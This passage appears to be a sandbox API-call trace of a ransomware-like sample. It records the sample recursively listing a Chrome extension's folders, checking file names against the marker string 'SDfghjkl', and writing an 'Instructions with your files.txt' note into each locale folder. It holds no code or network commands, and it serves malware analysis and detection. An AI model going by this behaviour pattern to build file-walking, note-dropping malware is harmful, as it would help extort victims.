[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b1ce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b43f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x46039, dwReserved0=0x0, dwReserved1=0x0, cFileName="material_css_min.css", cAlternateFileName="MATERI~1.CSS")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\material_css_min.css") returned 159
[0130.187] StrStrIW (lpFirst="material_css_min.css", lpSrch="SDfghjkl") returned 0x0
[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b6b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b9210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x7c33, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_cast_streaming.js", cAlternateFileName="MIRROR~1.JS")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js") returned 166
[0130.187] StrStrIW (lpFirst="mirroring_cast_streaming.js", lpSrch="SDfghjkl") returned 0x0
[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836c2e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836c5560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2adeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_common.js", cAlternateFileName="MIRROR~2.JS")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js") returned 158
[0130.187] StrStrIW (lpFirst="mirroring_common.js", lpSrch="SDfghjkl") returned 0x0
[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836ca380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836cf1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x794cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_hangouts.js", cAlternateFileName="MIRROR~3.JS")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js") returned 160
[0130.187] StrStrIW (lpFirst="mirroring_hangouts.js", lpSrch="SDfghjkl") returned 0x0
[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836d3fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836d66d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x941, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_webrtc.js", cAlternateFileName="MIRROR~4.JS")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js") returned 158
[0130.187] StrStrIW (lpFirst="mirroring_webrtc.js", lpSrch="SDfghjkl") returned 0x0
[0130.187] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0130.187] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales") returned 147
[0130.187] GetProcessHeap () returned 0x810000
[0130.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0130.187] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*") returned 149
[0130.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0130.189] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\.") returned 149
[0130.189] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.189] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\..") returned 150
[0130.189] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1
[0130.190] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned 150
[0130.190] GetProcessHeap () returned 0x810000
[0130.190] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*") returned 152
[0130.190] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\.") returned 152
[0130.190] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\..") returned 153
[0130.190] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.190] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json") returned 164
[0130.190] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.191] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.191] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\Instructions with your files.txt") returned 183
[0130.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.191] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.192] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.192] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.192] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.192] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.192] CloseHandle (hObject=0x134) returned 1
[0130.192] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.192] GetProcessHeap () returned 0x810000
[0130.192] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.192] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0130.193] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned 150
[0130.193] GetProcessHeap () returned 0x810000
[0130.193] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*") returned 152
[0130.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.193] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\.") returned 152
[0130.194] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.194] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\..") returned 153
[0130.194] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.194] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json") returned 164
[0130.194] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.194] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.194] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\Instructions with your files.txt") returned 183
[0130.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.194] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.195] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.195] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.195] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.195] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.195] CloseHandle (hObject=0x134) returned 1
[0130.196] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.196] GetProcessHeap () returned 0x810000
[0130.196] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.196] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0130.196] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned 150
[0130.196] GetProcessHeap () returned 0x810000
[0130.196] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.196] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*") returned 152
[0130.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.196] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\.") returned 152
[0130.196] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
